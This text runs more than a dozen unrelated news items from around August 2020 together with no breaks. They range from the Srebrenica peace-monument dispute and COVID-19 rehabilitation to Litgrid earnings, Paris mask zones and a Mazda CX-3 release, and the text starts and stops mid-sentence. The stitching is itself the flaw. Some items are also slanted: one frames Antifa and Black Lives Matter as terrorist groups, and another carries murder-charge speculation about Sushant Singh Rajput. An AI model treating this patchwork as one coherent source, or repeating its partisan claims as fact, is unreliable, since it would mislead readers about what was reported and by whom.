be no meaningful monument to peace in Srebrenica until fellow residents -- including genocide-denying, ethnic Serb Mayor Mladen Grujicic -- acknowledge that a genocide took place. "When they admit that genocide was committed in Srebrenica, that Srebrenica was killed by Serb Chetniks from here and Serbia, then we can think about it," Kata Hotic, a leader of the group Mothers of Srebrenica, told RFE/RL's Balkan Service, using an old term for Serbian nationalist detachments of the former Yugoslav Army. "And apologize to the victims, ask for forgiveness -- then we can build a monument to peace. And that has not happened, and there is no peace, and those are just empty words," she added. Serb troops and paramilitaries massacred more than 8,000 Muslim men and boys and raped and tortured many other Bosniak refugees in 1995 in ethnic cleansing in the Srebrenica area that both the International Criminal Tribunal for the former Yugoslavia (ICTY) and the International Court of Justice (ICJ) have declared a genocide. INTERACTIVE: Timeline To Genocide Srebrenica is now home to just some 12,000 residents in the easternmost sliver of the mostly Serb entity, Republika Srpska, that along with a Muslim-Croat federation composes Bosnia-Herzegovina. The monument -- which was initiated by the UN Office of the High Representative in Bosnia -- was approved last year by the Serb-dominated mayor and town council in Srebrenica. It is planned as a fountain and bronze sculpture that features four children embracing on a globe that is being held aloft by outstretched hands. Remains of most of the more than 8,000 victims of the Srebrenica massacre were found in mass graves in the area and dozens of the atrocities' organizers and perpetrators have been prosecuted internationally in the past 25 years. SPECIAL PROJECT: Here Are The Faces Of Thousands Who Died In Srebrenica But more than 1,000 of the victims have not yet been located, and many who participated in the killings in and around Srebrenica remain unpunished. Authorities in Republika Srpska have consistently resisted apprehending Serb war-crimes suspects on their territory. In neighboring Serbia, the parliament and presidency have formally apologized for wrongdoing by Bosnian Serb troops during the wars of the 1990s, including at Srebrenica. Grujicic, who has acknowledged "horrible crimes" against Bosniaks but rejects the term "genocide" because he says there was no "deliberate destruction of a people," defeated a Bosniak rival in Srebrenica's local elections in 2016. He stressed to RFE/RL the need for the new monument to look forward rather than at the town's painful past. "It means one message, a different message compared to the ones that have come from Srebrenica so far, and these are just messages from the past," Grujicic said. "By building this monument, we want to show that we are all committed to living together, a better life, a life of peace. The very word monument of peace says it all." The head of the town assembly, Nedzib Smajic, echoed that approach. "It has nothing to do with the last war or its events.... This is just a message of peace," Smajic said. "All the peoples in Srebrenica have their commemorations, they have their monuments." But others, including Srebrenica survivor and chronicler Emir Suljagic, regard it as a hasty effort to turn the page on tragedy without acknowledging its motives and scale or respecting its victims. "The idea of erecting a peace monument precisely -- but precisely -- at the place where Ratko Mladic called for revenge against 'the Turks' on July 11, 1995, in a reference to the rebellion against Dahija...is shameful," said Suljagic, referring to the commander of the Bosnian Serb forces' invocation during the Srebrenica rampage of a 19th-century conflict between Ottoman emissaries and local Christians. Mladic is currently serving a life sentence after his conviction in The Hague tribunal in 2017 for war crimes, crimes against humanity, and genocide while leading those Bosnian Serb troops with support from neighboring Serbia. Suljagic, who wrote one of the first accounts of the genocide in his book Postcards From The Grave and now heads the nearby Srebrenica-Potocari memorial to its victims, called the omission of Srebrenica's history from the planned monument "shameful." "It's not possible to talk [only] about peace in a city and municipality that for more than 50 percent of the population of Bosnia-Herzegovina is a physical location that is irrevocably linked to the attempt to destroy a group of citizens who make up more than 50 percent of the population," Suljagic said. Bosnia's controversial 2013 census put the country's Bosniak population at just over 50 percent of its 3.5 million people, with Serbs composing nearly 31 percent and ethnic Croats another 15 percent. The same census put the Bosniak portion of Srebrenica at around 54 percent, compared to around 45 percent ethnic Serbs. Branimir Kojic, president of the Organization of Families of Captured and Killed Soldiers and Missing Civilians of Srebrenica, told RFE/RL that no one consulted his group regarding the monument. "None of the authorities asked us. To be honest, we're against it because we don't know what it's about," Kojic said. "If it's in the spirit of coexistence, tolerance, we support it. But it would be nice if someone consulted us, to know, to give us an explanation of what it's about." The monument which will cost some 35,000 euros ($40,000) -- is scheduled to be finished by mid-September. Veronica Alexander, 61, is given the traditional clap out as she is wheeled on Aug. 8 from Powerback Rehabilitation after spending a month in the hospital and 30 days at the rehab facility recovering from COVID-19. Read more Veronica Alexander came to physical therapy in a wheelchair on a recent afternoon wearing a bright red dress and a blue mask that covered the oxygen tube she still needed nearly two months after her coronavirus symptoms began in June. She didnt remember the month she spent in Temple University Hospital, where she was on a ventilator for weeks. After that, she needed a month of therapy at PowerBack Rehabilitation in Center City before she could go home. Her physical therapist, Tram Tran, started with the toughest exercise: climbing a portable staircase with three stairs. When she arrived at PowerBack, Alexander, 61, could stand for only three seconds before her legs buckled and she collapsed in a chair. On this August day, with Tran near for support, she walked to the stairs, climbed one at a time as instructed and returned to the chair. That was enough to make Alexanders heart rate shoot to 135 beats per minute, what many people would see after a jog. Normal is 60 to 100, Tran said. Her blood oxygen, meanwhile, had plummeted to 80. Anything below 90 is too low. The numbers rose and fell again and again as Alexander tossed a ball to Emily Trott, a rehabilitation technician, and walked about 50 feet a couple of times. This was an achievement for a woman who arrived terrified that she might never walk again. She still wonders if shell be able to use her hands and arms normally someday. Her shoulders were injured while she lay on her stomach in the intensive care unit, a process called proning that improves breathing in COVID-19 patients. Alexander, who was disabled by arthritis before she got sick, was only a few days from returning to her North Philadelphia apartment, but she was nowhere near her pre-COVID self. No one knows whether she ever will be. I think that most people kind of understand that this is a brand-new illness, a brand-new phenomenon, that were dealing with, and were just doing the best that we can, said Jason Pan, a Penn Medicine physiatrist, a doctor who specializes in rehabilitation. Penn recently created a clinic for COVID patients who need post-hospital follow-up. He said patients will probably make most of their gains in the first year after their illness, but he cant tell them how much theyre likely to recover. Videos of joyful send-offs as COVID-19 survivors leave hospitals are a staple of TV news and social media. But they dont hint at what comes next. Theres a great deal of celebration that occurs when people are leaving the hospital, and for good reason, but the journey to recovery still has a long way to go, said Reg Blaber, chief clinical officer for Virtua Health. This virus is just so evil. It wreaks so much havoc. An ICU syndrome is more common Long before COVID, doctors knew that patients who needed intensive care were at high risk for long-term physical, cognitive, and mental health problems, a condition that was named post-intensive care syndrome (PICS) in 2012. Survivors of acute respiratory distress syndrome (ARDS), a severe form of lung infection that is often the reason people with diseases like COVID-19 need a ventilator, were especially likely to struggle. READ MORE: When coronavirus kills, ARDS can be the culprit. Here's what you need to know. Dale Needham, a critical-care physician at Johns Hopkins University, has been studying how patients fare after ICU stays and ARDS for more than 17 years. Up to 70% of ARDS patients, he said, still have severe fatigue six months to a year after hospital discharge. A year after an ICU stay, a third of people who were working before they got sick are jobless. Joint problems and muscle weakness can last for months or years. A third of survivors of respiratory failure or shock have cognitive impairment a year later. Anxiety, depression, and post-traumatic stress disorder are common years later in people who have had an ICU stay regardless of how sick they were. READ MORE: A new frontier in ICU research: Post-intensive care syndrome Surprisingly, chronic lung problems have not been an issue in past ICU survivors. Patients come into the ICU for lung failure but go home with long-lasting problems with their thinking, their mood, and their muscles, Needham said. These problems can be less obvious as a consequence of ARDS and get easily overlooked. The coronavirus, Needham said, has led to a huge increase in ARDS, so some health professionals are seeing such patients for the first time. They may not know, for example, that hair loss is a common reaction to the physical stress of severe illness, or that steep changes in heart rate and oxygen levels with minimal activity occurred in ARDS patients before the coronavirus. But coronavirus patients could be worse off than others with PICS. Many had especially severe lung complications and spent an unusually long time on ventilators, heavily sedated and immobilized. Unlike typical ARDS patients, fear of contagion deprived them of physical therapy in the hospital and even family visits, which often calm and motivate patients, Needham said. Doctors are also seeing what some have dubbed long haulers, patients whose symptoms persist even after relatively minor illness. Mount Sinai Hospital in New York opened a clinic for such patients. Most were never hospitalized yet are still dealing with shortness of breath, chest pain, weakness, fatigue, and difficulty concentrating, said Zijian Chen, an endocrinologist who is the clinics medical director. In some cases, imaging and blood tests tell doctors the patients have organic damage. In others, there is no explanation yet for the lasting symptoms. Improvements come slowly Acute rehabilitation facilities like PowerBack, Magee Rehabilitation Hospital, and MossRehab at Elkins Park opened units specifically for COVID-19 patients who couldnt leave the hospital for home. Therapists and doctors said these patients are sicker and stay longer than similar patients they saw before COVID. Some patients still test positive when they arrive and must be treated very carefully to keep staff safe. Many receive therapy in their rooms, which calls for portable equipment and creativity. Some patients have arrived with unusual pressure ulcers on their faces and knees as a result of proning. One doctor had a patient who needed plastic surgery. Some have survived clots in their lungs or other organs. Amputations are a hazard of serious COVID-19. Therapists and doctors have been struck by how many coronavirus survivors have trouble with memory or organizational ability. Brian Kucer, a Magee physiatrist, said patients often feel foggy and overwhelmed. Its not particularly different from how people feel after having a concussion, he said. Emotional problems are common. One thing that stands out is theyre all depressed, said Paula Bonsall, a Magee occupational therapist. Theyre all isolated, and theyre all anxious. The first rehab priority, though, is usually muscle weakness and endurance. Some new patients cant sit on the edge of a bed for more than 30 seconds. Norma Sampson, 77, who stayed at PowerBack from April 23 to June 12, discovered that she couldnt move a blanket from her lap to the foot of the bed. It seemed so heavy, she said. Kucer said hes seen patients who were so exhausted after putting on a shirt that they needed to sleep the rest of the day. This weakness largely stems from weeks of lying in bed. Patients can lose up to half their muscle mass, Kucer said, adding that doctors estimate that patients need three or four days of therapy for every day of bed rest. Therapists have to very slowly help patients build muscle strength while monitoring heart rates and oxygen frequently. The goal often is making patients strong enough to walk, sit on a toilet, and climb stairs when they go home. Wearing protective gear makes it harder for therapists to form a strong bond. Hallie Zeleznik, a physical therapist at University of Pittsburgh Medical Center, has learned to talk more. I know you cant tell, but I am smiling so big for you now, shell say, or I know you cant tell, but I am so sorry youre feeling this way. A renewed lift on life Doctors and therapists are confident that many patients will return to normal. I think a lot of them are going to get close enough to where they dont notice a huge difference, Kucer said. Robert Andersen, 66, who lives in ManorCare Health Services in Montgomeryville, got treatment there when he had COVID-19. When he started therapy there in April he had trouble going from his bed to a chair and his balance was off. He had lung disease and had had a stroke before he got the coronavirus. By late July, he felt normal even though he was still easily winded, possibly because of the earlier lung damage. The illness itself felt unreal. Sometime it feels like getting COVID, its like a bad dream almost, he said. Norma Sampson, who spent a month at Thomas Jefferson University with COVID-19 that led to a mild stroke, insisted on walking the two blocks home when she left PowerBack in June. Members of her therapy team accompanied her. She made it with four rest stops. She was plagued by really dark dreams for weeks but is doing well now, even doing her own grocery shopping. She recently walked 10 blocks from her doctors office to her apartment. Im close to 100% now, I think, she said. Believe me, it was a long road. Virginia Hamilton, 63, of West Oak Lane, said she spent four or five days on a ventilator at Einstein Medical Center Philadelphia before transferring to MossRehab for 16 days. She needed help walking and her voice was fuzzy and squeaky from the breathing tube. She got speech therapy and used bikes that strengthened her arms and legs. By June 2, she was back at work as a peer counselor at Friends Hospital, a job that requires a lot of walking. Shes riding the bus again and caring for her father, who has dementia. She still coughs occasionally, but feels normal. And very grateful. Its like I got a renewed lift on life, a second chance, you could say, she said. Alexander, who was on disability before she got sick but could walk two blocks on her own with a cane, is in the early days of recovery. Once she started breathing on her own, she realized how weak she was. I was devastated, because I thought I would never walk, she said. Tran saw how anxious her new patient was. I just looked at her and I said, You will be able to walk again. Trust me. The next week, Alexander walked 25 feet across the room while Tran followed behind with her wheelchair. They both cried, although Tran hid her tears because she thought they were unprofessional. I thank God and I thank Tram. I get emotional about it, Alexander said. She is still upset that all her efforts to avoid the virus failed. I realize now nobody is safe. She is still worried about her arms. She cant use her right hand and four fingers on the left are numb. A doctor told her that surgery could help. I might not never get the strength back in my arm, she said, but I thank God that Im still here. Tran doesnt know how her patients will feel in a year or two, but Alexanders progress makes her feel good. Its very rewarding as a therapist, she said, just seeing her ability to hope again. Panaji, Aug 11 : Amid a series of protests by opposition parties against the Goa Electricity Department over inflated power bills, Chief Minister Pramod Sawant on Tuesday announced a rebate of Rs 18.3 crore for all consumers. "The government has decided to give a total rebate of Rs 18.3 crore to electricity consumers. 50 per cent of fixed charges are waived for April and May for all low tension domestic, commercial and other categories. "For high tension consumers, the difference of the billed maximum demand charges and actual recorded maximum demand charges for April and May 2020 are waived. The rebate will be adjusted in future bills," Sawant said. Over the last two months, the Electricity Department has been flooded with complaints from consumers alleging inflated bills. The Congress, the Aam Aadmi Party and Goa Forward have staged protests in the state urging the Goa government to examine the excessive power billing issue. August 11 : TV channel Times Now is going deep into Sushant Singh Rajputs death case and digging out new information every day. The channel has now brought out two Whatsapp messages from the late actors father KK Singh to Rhea Chakraborty, and manager Shruti Modi, which showed that he was concerned about his son and wanted to know details about his condition from them. He also reportedly expressed his desire to come to Mumbai to see his son. On its channel, Times Now displayed a Whatsapp message dated November 29, 2019, in which KK Singh reportedly wrote to Rhea saying that he has the right to know about his sons health conditions. He reportedly asked her to call him and tell him the details of Sushants conditions. #Exclusive #Breaking | TIMES NOW accesses the copy of WhatsApp conversations (Nov 2019) between Sushant Singh's father Rhea Chakraborty, Sushant's father Shruti Modi. The messages clearly show that he tried to reach out to Sushant. Details: Priyank. | #SushantMurderCharge pic.twitter.com/S7ptetTwZB TIMES NOW (@TimesNow) August 11, 2020 In another message to Shruti, KK Singh reportedly wrote that he spoke to Sushant and he said he is going through a difficult time. KK Singh further wrote that as a father he is very concerned and wanted to speak to her. In the same message he reportedly expressed his desire to come to Mumbai and asked her to send him the air tickets as Shruti was not speaking to him. Ab tum bat nahi kar rahi ho to main Mumbai jana chahta hun. Fli ka ticket bhej do, read the message. However, the screenshots of the Whatsapp messages, which are public now, show that they have been read but do not reveal if the messages were acknowledged by Rhea or Shruti. Latest updates on Sushant Singh Rajput Death Mystery Communications Minister, Ursula Owusu-Ekuful has told the opposition National Democratic Congress (NDC) to have the guts and courage to make its running mate, Jane Naana Opoku Agyeman the flagbearer in the near future. This follows the announcement of the NDC to make Prof. Jane Naana Opoku-Agyeman its running mate to John Dramani Mahama ahead of the 2020 polls. According to Mrs. Ursula Owusu-Ekuful, the track record of the opposition under the John Mahama administration does not leave much optimism for same, hence, Opoku-Agyeman has an impossible task in her candidature. Speaking on Asaase Radio on Tuesday, August 11, the Member of Parliament for Ablekuma West Constituency said; What I see between the flagbearer and the running mate is not an underestimation but an honest assessment of the NDC's team based on their own track record and previous conduct, so I wish [Prof. Jane Naana] all the best but she has an impossible task before her and maybe next time around they will have the guts and courage to make her the flagbearer and then we would have a real contest on our hands Mrs Owusu added Ghanaians have already experienced the tenure of the John Mahama administration and not much has changed with regards to how people viewed him and therefore urges the populace to be wise in exercising their franchise. Meanwhile, Ghanaians will on December 7, 2020 go to the polls to elect a President as part of a four-year constitutional mandate in a general election. The likely to be keen contest will see John Dramani Mahama, flagbearer of the National Democratic Congress contend against Nana Addo Dankwa Akufo-Addo, the current President of the Republic and flagbearer of the ruling New Patriotic Party. Source: ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Protesters clash with federal police in front of the Mark O. Hatfield federal courthouse in downtown Portland, Ore., as the city experiences another night of unrest on July 28, 2020. (Spencer Platt/Getty Images) Barr: Antifa a Revolutionary Group That Wants to Establish Socialism For the first time, the nations top law enforcement officer has explicitly outlined the nature of far-left anarcho-communist group Antifa, describing it as a revolutionary group intent on establishing socialism or communism in the United Statesand the experts agree. Attorney General William Barr delivered a scathing critique of Antifa in an Aug. 9 interview with Mark Levin on Fox News, noting that the groups organization and tactics make it a difficult phenomenon to deal with. They are a revolutionary group that is interested in some form of socialism, communism. Theyre essentially Bolsheviks. Their tactics are fascistic, Barr said. While Antifa publicly identifies with communist and socialist ideology, the interview marked the first time for Barr to go into such detail. The Attorney Generals comments represent a significant improvement over previous government statements on Antifa, and he should be commended for his outspokenness, Kyle Shideler, director and senior analyst for Homeland Security and Counterterrorism at the Center for Security Policy, told The Epoch Times. Shidelerwho testified on Aug. 4 before the Senate Subcommittee on the Constitution about the structure and origin of Antifasaid he hopes Barr will direct the Justice Department to take Antifas core mission to heart and begin to treat the group as the subversive and insurrectionist force it is. Antifas distributed and non-hierarchical network structure requires better intelligence to counter, he said, noting that the federal government has a unique responsibility to address this threat as local and state governments are unable or unwilling to do so. Antifa is fundamentally committed to the abolition of the U.S. government and the violent overthrow of the United States Constitution, Shideler said in his written testimony. To achieve that, its committed to the use of both subversion and violent extremism to enforce its political views by terrorizing American citizens. Antifas activities clearly meet the definition of an organized criminal conspiracy and terrorism established by federal law, he said in his testimony. The reality is that Antifa demonstrates an elaborate and complex but non-hierarchical structure, Shideler said. He described how websites linked to the group attract users who spend inordinate efforts discussing how Antifa groups can and should be organized. The FBI has become increasingly concerned about violence perpetrated by Antifa at public events, according to a 2018 report by the Congressional Research Service, a public policy research arm of the U.S. Congress. Sheriff Bob Songer of Klickitat County, Washington, told The Epoch Times that he considers Antifa, as well as Black Lives Matter, domestic terrorism groups trying to overthrow the United States government and turn our country into a communist government, adding that AG Barr is spot on with regard to Antifas goal. Songer says its hard to crack down on Antifa and other similar groups when there are politicians who explicitly support them. Ivan Pentchoukov contributed to this report. ALBANY, New York Due to declining coronavirus cases, Ohio has been removed from the state of New Yorks travel advisory, meaning Ohioans are now free to travel to and from the Empire State. In fact, Ohioans were never prohibited from traveling to New York but they were required to complete a 14-day quarantine upon arrival, a mandate that put an end to most leisure and business travel. On Tuesday, five states were removed from New Yorks list Ohio, Alaska, New Mexico, Rhode Island and Washington. South Dakota and Hawaii were added, along with the Virgin Islands. Ohio was added to the list on July 14, forcing numerous Ohioans to cancel plans to visit Niagara Falls, the Finger Lakes, Chautauqua County and other popular destinations in western New York. Currently, there are 31 states on the New Yorks travel advisory list, plus the Virgin Islands and Puerto Rico. Numerous states, including Ohio, have instituted travel advisories to help stem the spread of the disease. But New York working in conjunction with Connecticut and New Jersey has imposed some of the most restrictive policies. Enforcement has been uneven. Numerous Ohioans have traveled to New York anyway, although some Clevelanders said that hotels canceled or postponed their reservations. Visitors arriving by air are required to fill out a form, agreeing to comply with quarantine rules. New York uses two metrics for quarantine decisions either a positive test rate higher than 10 per 100,000 residents over a seven-day rolling average or a 10% or higher positivity rate over a seven-day rolling average. According to the website Covidactnow.com, Ohio has a 5.2% positivity rate on recent tests, and a positive test rate of 9.6 residents per 100,000. In recent weeks, the number of Ohioans testing positive for Covid-19 has been trending downward. On Monday, the Ohio Department of Health reported 879 positive cases over the previous 24 hours, well below the states 21-day rolling average of 1,234. Last month, Ohio Gov. Mike DeWine issued a mandatory face mask order, effective July 23. Just because Ohio has been removed from the list, however, doesnt mean it will stay off. In recent weeks, numerous states including Delaware, Rhode Island and Minnesota -- have been removed and added back on, making it difficult for travelers to make decisions about visiting New York City and other destinations. College students, too, have been affected by the quarantine requirements. In recent weeks, numerous Ohioans who attend school in New York have started 14-day quarantines in hotel rooms, required before theyre permitted to move into dorm rooms or start classes. According to the New York government website: Individuals in quarantine after traveling from a state that has been removed from the advisory should continue to quarantine for the full 14 days. Read more: Ohio students enrolled in New York colleges facing mandatory quarantine for 14 days, too New York Gov. Andrew Cuomo has been unapologetic about his states strict response to the virus. New York went from one of the worst situations in the country, to an example for the rest of the nation to follow, Cuomo said in a statement Tuesday. Our numbers continue to remain low and steady, which shows this virus will respond to an approach based on science, not politics. In order to protect this progress, we must keep up our efforts we cannot go back to the hell we experienced a few months ago, which is why we are adding Hawaii, South Dakota, and Virgin Islands to the travel advisory. Ohio, too, has a travel advisory, although compliance is voluntary. Six states are on Ohios travel advisory Florida, Alabama, Mississippi, Arizona, Nevada and Idaho -- meaning that visitors from those locations are asked to quarantine for 14 days when entering Ohio. Read more: Ohioans still prohibited from visiting New York, as Cuomo expands quarantine states and Clevelanders cancel trips DOVER, Del. - The official committee representing sexual abuse survivors in the Boy Scouts of America bankruptcy is asking a judge to void real estate transfers by a local Boy Scouts council in Tennessee, saying they violated court restrictions on sales or transfers of BSA assets. The committees court filing late last week came almost a month after it sent a cease-and-desist letter to the Middle Tennessee Council, but got no direct response. Instead, the BSA, acting on behalf of the Middle Tennessee Council, asserted that the transfer was proper while simultaneously admitting that the BSA has an interest in the property, attorneys for the abuse survivors wrote. The BSA has refused to take any action in response to the Middle Tennessee Councils actions despite numerous conversations with BSAs counsel about transfers like these. According to the court filing, the council transferred its Boxwell Reservation, Latimer Reservation, Grimes Canoe Base and Parish Reservation camp properties, as well as its Nashville office building, to an irrevocable asset protection trust on July 1. Such trusts are typically established to shield assets from creditors. The committee believes the council took similar steps to shield its cash and deposit account assets. The trustee for the properties is the councils vice-president of properties, Clay Bright, who also is Tennessees state transportation commissioner. According to the victims committee, the Middle Tennessee Council is the subject of at least 35 sexual abuse claims that have been or will be filed. The existence of the claims, according to committee attorneys, shows what motivated the council to irrevocably transfer the assets for no consideration. The committee argues that under BSA charters and bylaws, the national organization has a reversionary interest in local council properties. Under the organizations rules, if a local councils charter is revoked or lapses, its property and cash will be turned over to the BSA after any claims against the council are satisfied. The committee thus contends that the transfers violated the automatic stay included in Chapter 11 bankruptcy proceedings to halt collection activities and otherwise protect the assets of a debtor. Despite having a self-admitted interest in the transferred properties, BSA has not taken any action to enforce the automatic stay and restore the estates property rights notwithstanding the tort claimants committee demands, the court filing states. The BSA contends that the transfer of the properties does not affect its reversionary interests. James Stang, an attorney for the abuse survivors committee, declined to comment on the filing, as did Larry Brown, Scout Executive for the Middle Tennessee Council. The BSA national organization said the victims committee was focusing on a single transaction by a single local council, and that all local councils have agreed to share information with the committee regarding past and future transactions involving their assets. This clearly demonstrates that the BSA and the local councils are committed to working through a productive, mediated process that provides equitable compensation for survivors of past abuse in Scouting and ensures that the mission of Scouting can continue for Americas youth, the organization said in a statement. The Boy Scouts of America, based in Irving, Texas, sought bankruptcy protection in Delaware in February in an effort to halt hundreds of individual lawsuits and create a huge compensation fund for thousands of men who were molested as youngsters by scoutmasters or other leaders. As part of the bankruptcy, the Boy Scouts obtained a consent order for a preliminary injunction halting lawsuits against the organizations 261 local councils as related parties. The local councils, which run day-to-day operations for local troops, are not listed as debtors in the bankruptcy and are considered by the Boy Scouts to be legally separate entities. Attorneys for abuse victims have nevertheless made clear that they will try to go after campsites and other properties owned by the local councils to contribute to the victims fund. In return for protection against litigation under the injunction, participating local councils must adhere to certain conditions of the consent order. Those conditions include providing 30 days notice to BSA of any action regarding the marketing, sale or transfer or real estate, and of any sale or transfer of personal property valued at more than $25,000 outside the ordinary course of business. Attorneys for the victims committee say that on June 12, three days after the injunction was extended to Nov. 16, Brown and Middle Tennessee Council president John Bright Cage executed an agreement establishing the trust. On June 30, Brown signed quitclaim deeds for each of the five properties, which the council is now leasing from the trust. The council did not disclose the transfers until July 6, the deadline for opting into the consent order. Under the consent order, the council was required to disclose any sales, transfers or encumbrances of real property since July 2014. A hearing on the motion is scheduled for Sept. 9. Allentown, PA (18103) Today Turning out mostly cloudy and not as cold. There might be a rain or snow shower late.. Tonight Mostly cloudy with some rain and snow showers. Any rain will be early in the night. English Lithuanian LITGRID AB, company code 302564383, registered office address Virsuliskiu skg. 99B, Vilnius, Lithuania. Transmission system operator Litgrid successfully concludes the first six months of the year reporting growing revenues and profits, the implementation of planned works related to the synchronisation of Lithuanias energy system with the grid of the continental Europe. Financial results for the last six months indicate that, even in these trying times, the company is operating in a stable manner and is consistently pursuing its ambitious goals, announced Daivis Virbickas, CEO of Litgrid. While the COVID-19 pandemic brought changes in working conditions around the world due to quarantine, the activities of Litgrid were not disrupted. However, our foreign partners have faced production challenges, with the factories that make the equipment necessary for projects either facing restrictions or being forced to shut down. Now, our challenge is to maintain our projected rate of implementation in our synchronisation projects. So far, all works have been carried out according to schedule and some have even been completed sooner than planned. The first half of 2020 marks the success of the first stage of synchronisation with continental Europe under extraordinary circumstances, as well as the successful commencement of preparations for the next stage namely, the laying of the Harmony Link marine connection. Over recent months, we have also laid the foundations for the lasting partnerships necessary for energy independence: the Baltic States and Poland have submitted a joint application for funding from the Connecting Europe Facility (CEF), for investments relating to the second stage of synchronisation. The first six months of this year have been financially successful for the company, which earned EUR 101.5 million in revenue 9.7% or EUR 9 million more than during the same period last year. Compared with the first six months of 2019, revenue earned from transmission rose by 18% to EUR 40.9 million, accounting for 40.4% of the companys total revenue. Growth during this period was determined by the actual price of transmission, which was 23% lower than average, as well as a 4.2% reduction in the amount of electric power transmitted, which totalled 4.932 million kWh. This was the result of warmer temperatures during the winter season compared with the multi-annual average, as well as the effects of the COVID-19 pandemic. Revenue earned from system services grew by 21% to EUR 42.9 million (the National Energy Regulatory Council had instituted a 28% higher price for system services, valid from 1 January 2020; meanwhile, the scope of system services decreased by 4.6% during the reporting period). Due to the imbalance and subsequent balancing of the lower average transmission price, revenue earned from electric power transmission went down by 26% to EUR 10.1 million. During this difficult period, the company has managed to maintain stable costs at a lower level than last year the costs incurred by the company during the first half of 2020 totalled EUR 86.2 million, 3% less than in 2019. These were determined by 8% lower costs relating to the procurement of electric power and related services, which amounted to a total of EUR 62.3 million. Power costs relating to imbalance and balancing went down by 26% to EUR 9.9 million, while costs relating to system services increased by 12% to EUR 41.2 million. Due to the lower purchase price, costs relating to the procurement of electric power for the purposes of compensating for technological losses in the transmission network fell by 45% to EUR 6.2 million. Other costs increased by 27%, from EUR 11 million to EUR 14 million, mainly due to the implementation of scheduled network maintenance and repair works necessary to ensure the reliability of power transmission (+44% compared with last year). During the first half of 2020, EBITDA totalled EUR 26.2 million, a rise of 97% or EUR 12.9 million compared with the first six months of last year. The EBITDA margin increased to 25.8% (compared with 14.4% in 2019). In the first half of 2020, the company earned EUR 13.6 million in net profits (compared with EUR 2.8 million in 2019). The growth in Litgrids EBITDA was due to an increase of EUR 6.2 million in revenue earned from electric transmission, EUR 5 million lower costs relating to the compensation of technological losses, and a EUR 1.7 million positive balance in costs and revenues relating to system services. Litgrids total investments during the first half of 2020 amounted to EUR 17.5 million; 53% of these were dedicated to the implementation of strategic electric power projects of national significance, and another 47% to the reconstruction and development of the transmission network. The individual authorized by LITGRID AB to provide additional information: Jurga Eivaite Project manager Communication Division Phone: +370 613 19977 e-mail: jurga.eivaite@litgrid.eu Attachment Share this article Whatsapp Facebook Twitter Linkedin (Reuters) Paris Tue, August 11, 2020 19:08 525 6657ac82168da9fa101c8a4066d2e8d5 2 News Paris,France,coronavirus,COVID-19 Free The wearing of masks in some crowded areas around Paris became compulsory on Monday as part of a drive to stem a sharp rise in COVID-19 infections, but some tourists appeared perplexed about where the new rule is meant to apply. A detailed list of more than 100 mandatory mask-wearing zones includes the popular Montmartre district, with its narrow streets, and the banks of the River Seine but excludes other famous tourist destinations such as the Eiffel Tower, the Champs Elysees and the huge shopping area of Les Halles. "It's not clear at all. We're tourists so we don't know in which zones we're required to wear a mask," said Dominico Ditoma, a French tourist visiting Montmartre with his family. "We assume it's for tourist spots but there are no signs so it's quite unclear." A foreign tourist who gave her name as Angelica was also uncertain: "I've heard about it, it starts this morning, but I don't know about the zones, I don't know how to get informed." Anybody aged 11 and over faces a 135 euro ($159) fine if caught without a mask where one is required. City hall official Audrey Pulvar defended the complex mask map - which is available on the city's website - saying that it was "evolving" and was based on criteria such as people's ability in a given space to comply with social distancing rules. "That's why, in certain streets, parts are affected by the measure and parts are not," Pulvar said on BFM TV. Read also: Paris raves draw crowds as virus shutters nightclubs Spike France, like some other European countries, has recently seen a spike in new COVID-19 infections, prompting fears of a second wave. It reported 2,288 new infections last Friday, a new post-lockdown high, with the seven-day moving average at 1,486, a level unseen since late April. People have been required to wear face masks in all closed public spaces in France since July 21. The latest uptick in COVID-19 cases has been most marked in Paris but some other cities including Toulouse, Biarritz, Marseille and Lille have already ordered people to wear masks in busy outdoor areas. Some people welcomed the extension of the mask-wearing requirement to some busy outdoor areas in Paris. "(It is) a good thing... so that we don't get easily infected," said Delphine, a Paris resident. Iran's health minister proposed on Tuesday to extend the World Health Organization (WHO)'s Eastern Mediterranean cooperation program against COVID-19 to more countries in West Asia, Trend reports citing Xinhua. Minister of Health and Medical Education Saeed Namaki made the proposal in an online meeting with the WHO's Eastern Mediterranean Regional Director Ahmed Al-Mandhari, and the health ministers of the Eastern Mediterranean region's countries, on the subject of the region's response to the coronavirus pandemic. "The program under which Iran, Iraq, Pakistan and Afghanistan are cooperating under the WHO's supervision should be extended to different countries in the region," Namaki was quoted as saying by the official IRNA news agency. He suggested the WHO should "improve its presence by reinforcing and creating managerial capacity to support member states." The framework of Iran's proposal has three parts, the first being increasing awareness about the existing risk and the need for public cooperation to prevent and control the infection, the Iranian minister explained. The second and third are providing universal coverage for basic care related to COVID-19, and the respect of the countries' national sovereignty and security concerns, Namaki added. In a mid-July assessment, Al-Mandhari warned the situation in the region remained "alarming" with COVID-19 cases and deaths increasing at the time. IRVINE, Calif., Aug. 11, 2020 /PRNewswire/ -- Mazda North American Operations today announces the 2021 Mazda CX-3 will arrive in dealerships next month, offering fans contemporary styling and engaging driving dynamics in a subcompact crossover. The CX-3 will continue to offer premium features as standard to stand out from the competition while providing a wide range of options for those looking for an ideal entryway into the Mazda family. 2021 Mazda CX-3: Dynamic Driving In A Subcompact Package The 2021 Mazda CX-3 will continue to be offered in a Sport trim with the four-cylinder Skyactiv-G 2.0, rated to deliver up to 148 horsepower and 146 lb-ft of torque. Equipped with standard front-wheel drive and paired with a quick-shifting Skyactiv-Drive six-speed automatic transmission with manual-shift mode and Sport mode help create an engaging driving experience. For those looking to venture beyond the city, Mazda's predictive i-Activ all-wheel drive is available on the CX-3. Mazda CX-3 Sport is packaged with substances and style throughout. Apple CarPlay and Android Auto, Active Driving Display and automatic climate control are standard features. The subcompact crossover is benefited by a seven-inch, full-color touchscreen display with Mazda Connect, Bluetooth hands-free phone and audio and a six-speaker audio system. These features can be safely accessed through the multi-function commander knob or steering wheel mounted controls. Other premium standard features include electronic parking brake with auto-hold feature, push button start, remote keyless illuminated entry system, power windows with one-touch automatic up/down feature for the driver side and cloth seats. Helpful for navigating the busy city, the extensive suite of i-Activsense safety features are standard on the 2021 CX-3 Sport. For 2021, the Advanced Smart City Brake Support has been enhanced with Night Pedestrian Detection. Mazda Radar Cruise Control with stop and go function is helpful for extended drives or congested commutes. Smart Brake Support with Collision Warning, Lane Departure Warning, High Beam Control all join Blind Spot Monitoring with 